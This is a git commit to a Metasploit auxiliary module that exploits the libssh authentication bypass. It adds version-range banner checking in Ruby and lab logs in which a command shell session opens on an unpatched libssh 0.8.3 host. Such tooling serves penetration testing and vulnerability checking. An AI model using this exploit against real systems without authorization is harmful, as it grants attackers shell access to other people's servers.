Improve banner checking in libssh_auth_bypass

Now we do the right thing when libssh is patched.
GSoC/Meterpreter_Web_Console
William Vu 2018-10-19 15:13:45 -05:00
parent da38dfb29a
commit e4c71265fb
2 changed files with 45 additions and 11 deletions

View File

@ -2,7 +2,8 @@
This module exploits an authentication bypass in libssh server code
where a `USERAUTH_SUCCESS` message is sent in place of the expected
`USERAUTH_REQUEST` message. Versions 0.6 and later are affected.
`USERAUTH_REQUEST` message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.
Note that this module's success depends on whether the server code
can trigger the correct (`shell`/`exec`) callbacks despite only the state
@ -35,13 +36,13 @@ require this. Note that you WILL be logged in `utmp`, `wtmp`, and
**CHECK_BANNER**
This is a banner check for the `libssh` string. It's not sophisticated,
and the banner may be changed, but it may prevent false positives due to
how the OOB authentication packet always returns `true`.
This is a banner check for libssh. It's not sophisticated, and the
banner may be changed, but it may prevent false positives due to how the
OOB authentication packet always returns `true`.
## Usage
Testing against libssh 0.8.3:
Positive testing against unpatched libssh 0.8.3:
```
msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
@ -56,6 +57,7 @@ verbose => true
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
@ -74,12 +76,25 @@ tty
#
```
Negative testing against patched libssh 0.8.4:
```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
```
Negative testing against an insufficiently implemented libssh server:
```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[-] 172.28.128.3:2222 - shell/exec channel request failed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

View File

@ -16,7 +16,8 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.
Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state
@ -41,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(22),
OptString.new('CMD', [false, 'Command to execute']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
])
register_advanced_options([
@ -50,6 +51,26 @@ class MetasploitModule < Msf::Auxiliary
])
end
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
def check_banner(ip, version)
version =~ /libssh_([\d.]+)$/ && $1 && (v = Gem::Version.new($1))
if v.nil?
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return Exploit::CheckCode::Safe
elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||
v.between?(Gem::Version.new('0.8.0'), Gem::Version.new('0.8.3'))
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
return Exploit::CheckCode::Appears
else
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
return Exploit::CheckCode::Safe
end
# Hopefully we never hit this
Exploit::CheckCode::Unknown
end
def run_host(ip)
factory = ssh_socket_factory
@ -83,10 +104,8 @@ class MetasploitModule < Msf::Auxiliary
version = ssh.transport.server_version.version
# XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER'] && !version.include?('libssh')
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return
end
return if datastore['CHECK_BANNER'] &&
check_banner(ip, version) != Exploit::CheckCode::Appears
report_vuln(
host: ip,